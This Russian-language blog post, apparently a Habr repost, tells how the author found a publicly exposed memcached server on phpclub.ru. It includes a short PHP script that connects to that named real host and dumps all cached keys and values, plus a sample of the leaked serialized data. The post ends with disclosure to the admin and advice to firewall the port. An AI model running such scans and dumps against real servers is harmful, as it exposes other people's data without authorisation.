С чего все начиналось
А все началось с того, что я перешел с Debian семейства к семейству RHEL. Примерно неделю назад я первый раз своими руками(не могу сказать что на Ubuntu это было своими руками) поднял сервер для разработки проекта. Я своими руками правил конфиги nginx, apache, php — раньше на Ubuntu все ставилось в пару команд и работало само. Впрочем правя конфиги я стал лучше понимать, как оно там все работает. Наверное это меня и подтолкнуло к мысли о memcached.
Поиск цели
Сначала я конечно проэкспериментировал(поставил memcached из rpm и забыл) на своей машине и не был удивлен результатом, так как сама технология подразумевает масштабирование серверами. Но я сильно сомневался, что кто-то оставит такую дыру в реальном проекте. Но мне ничто не мешало проверить это. В качестве сканера портов я использовал nmap. Да простит меня НЛО первым в очереди был habrahabr.ru, но он достойно прошел испытание, а вот попытка номер 4:
11211 порт открыт. К действию
Я написал маленький скрипт на локальной машине и успех:
Малость доработав скрипт:
$t= new Memcached (); $t->addServer('phpclub.ru', 11211); $z=$t->getAllKeys(); foreach($z as $k=>$v){ var_dump($t->get($v)); echo $v,'---',$k,"\n"; }
Был получен очень перспективный для хакера результат: все данные были сериализованны. Я принялся анализировать данные, в них мне удалось распознать кеш для меню раздела faq.
А вот и он:
linktracking|i:0;bookmarks|a:5:{i:0;s:11:"((Каталог))";i:1;s:13:"((Изменения))";i:2;s:20:"((НовыеКомментарии))";i:3;s:16:"((Пользователи))";i:4;s:27:"((Регистрация Регистрация))";}bookmarklinks|a:5:{i:0;s:7:"katalog";i:1;s:10:"izmenenija";i:2;s:16:"novyekommentarii";i:3;s:12:"pol_zovateli";i:4;s:12:"registracija";}bookmarksfmt|s:157:"ўўКаталог ==КаталогЇЇ | ўўИзменения ==ИзмененияЇЇ | ўўНовыеКомментарии ==НовыеКомментарииЇЇ | ўўХакИрФсимагущий ==рулит!!!ЇЇ | ўўРегистрация ==РегистрацияЇЇ";show_comments|a:1:{s:24:"qhelp/HowToDisplayErrors";i:0;}'
Честно-честно, он прямо вот так и выглядел! Любые совпадения считать случайностью.
А вот как выглядит страничка с таким кешем:
А что дальше?
А что не происходило дальше и как я не применял магические методы toString и destruct рассказано не будет, мораль не в этом 😉
Естественно, я сразу попытался выйти на связь с админом, сообщил об уязвимости и на данный момент она закрыта.
Мораль:
Закрытие порта от внешних сетей не хитрая вещь, но даже джедаи phpclub.ru могут упустить ее из виду. Этот случай, реальный пример из жизни показывающий, что люди могут ошибаться даже в таких казалось бы элементарных, очевидных вещах. Доверяйте безопасность и конфигурирование сервера профессионалам.
И не надейтесь на то, что ваш ip(даже без привязанного к нему домена) адрес не просканируют.
Сотни джедаев habrauser’ов уже в пути, а за ними и армия клонов ботов.
P.S.
И кто знает сколько еще велосипедов построено на просторах интернета и сколько из них закрыли доступ к memcached с внешних ip…
Кто знает…
ссылка на оригинал статьи http://habrahabr.ru/post/190260/
Добавить комментарий